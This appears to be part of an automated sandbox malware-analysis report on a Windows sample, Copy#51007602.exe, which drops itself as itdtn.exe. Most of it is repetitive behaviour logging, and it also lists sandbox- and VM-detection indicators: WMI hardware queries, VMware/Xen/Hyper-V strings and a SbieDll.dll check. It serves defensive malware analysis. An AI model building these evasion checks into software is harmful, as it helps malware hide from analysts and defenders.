Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: Copy#51007602.exe PID: 6008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: itdtn.exe PID: 2604, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Copy#51007602.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\itdtn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Copy#51007602.exe, 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.0000000003371000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL0SELECT * FROM WIN32_BIOS8UNEXPECTED WMI QUERY FAILURE

Source: C:\Users\user\Desktop\Copy#51007602.exe	Memory allocated: E30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Memory allocated: 2990000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Memory allocated: E30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Memory allocated: 6290000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Memory allocated: 5560000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Memory allocated: 7290000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Memory allocated: 19290000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Memory allocated: 30F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Memory allocated: 3290000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Memory allocated: 5290000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Memory allocated: 2F60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Memory allocated: 3170000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Memory allocated: 2F80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Memory allocated: 1AC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Memory allocated: 32D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Memory allocated: 52D0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Roaming\itdtn.exe

Code function: 5_2_06FE7D9B rdtsc

5_2_06FE7D9B

Source: C:\Users\user\Desktop\Copy#51007602.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\Copy#51007602.exe	Window / User API: threadDelayed 1146	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Window / User API: threadDelayed 2238	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Window / User API: threadDelayed 2891	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Window / User API: threadDelayed 696	Jump to behavior

Source: C:\Users\user\Desktop\Copy#51007602.exe TID: 3144	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe TID: 2200	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe TID: 2200	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe TID: 4836	Thread sleep count: 1146 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe TID: 2200	Thread sleep time: -99891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe TID: 4836	Thread sleep count: 2238 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe TID: 2200	Thread sleep time: -99782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe TID: 2200	Thread sleep time: -99657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe TID: 2200	Thread sleep time: -99532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe TID: 2200	Thread sleep time: -99422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe TID: 2200	Thread sleep time: -99313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe TID: 2200	Thread sleep time: -99188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe TID: 2200	Thread sleep time: -99063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe TID: 2200	Thread sleep time: -98938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe TID: 2200	Thread sleep time: -98797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe TID: 2200	Thread sleep time: -98687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe TID: 2200	Thread sleep time: -98577s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe TID: 2200	Thread sleep time: -98469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe TID: 2200	Thread sleep time: -98327s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe TID: 2200	Thread sleep time: -98219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe TID: 2200	Thread sleep time: -98110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe TID: 2200	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe TID: 5744	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe TID: 1276	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe TID: 1276	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe TID: 1276	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe TID: 6204	Thread sleep count: 2891 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe TID: 6204	Thread sleep count: 696 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe TID: 1276	Thread sleep time: -99765s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe TID: 1276	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe TID: 1276	Thread sleep time: -99547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe TID: 1276	Thread sleep time: -99422s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe TID: 1276	Thread sleep time: -99312s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe TID: 1276	Thread sleep time: -99203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe TID: 1276	Thread sleep time: -99094s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe TID: 1276	Thread sleep time: -98969s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe TID: 1276	Thread sleep time: -98859s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe TID: 1276	Thread sleep time: -98750s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe TID: 1276	Thread sleep time: -98640s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe TID: 1276	Thread sleep time: -98531s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe TID: 1276	Thread sleep time: -98422s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe TID: 1276	Thread sleep time: -98310s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe TID: 1276	Thread sleep time: -98203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe TID: 1276	Thread sleep time: -98094s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe TID: 1276	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Copy#51007602.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\itdtn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\Copy#51007602.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Copy#51007602.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\itdtn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\itdtn.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Roaming\itdtn.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\Copy#51007602.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Thread delayed: delay time: 99891	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Thread delayed: delay time: 99782	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Thread delayed: delay time: 99657	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Thread delayed: delay time: 99532	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Thread delayed: delay time: 99422	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Thread delayed: delay time: 99313	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Thread delayed: delay time: 99188	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Thread delayed: delay time: 99063	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Thread delayed: delay time: 98938	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Thread delayed: delay time: 98797	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Thread delayed: delay time: 98687	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Thread delayed: delay time: 98577	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Thread delayed: delay time: 98469	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Thread delayed: delay time: 98327	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Thread delayed: delay time: 98219	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Thread delayed: delay time: 98110	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Thread delayed: delay time: 99765	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Thread delayed: delay time: 99547	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Thread delayed: delay time: 99422	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Thread delayed: delay time: 99312	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Thread delayed: delay time: 99203	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Thread delayed: delay time: 99094	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Thread delayed: delay time: 98969	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Thread delayed: delay time: 98859	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Thread delayed: delay time: 98750	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Thread delayed: delay time: 98640	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Thread delayed: delay time: 98531	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Thread delayed: delay time: 98422	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Thread delayed: delay time: 98310	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Thread delayed: delay time: 98203	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Thread delayed: delay time: 98094	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: itdtn.exe, 00000005.00000002.3232710766.000000000177A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllp
Source: itdtn.exe, 00000004.00000002.2229535791.0000000003371000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: itdtn.exe, 00000004.00000002.2229535791.0000000003371000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: Copy#51007602.exe, 00000002.00000002.3232678455.000000000161D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Copy#51007602.exe

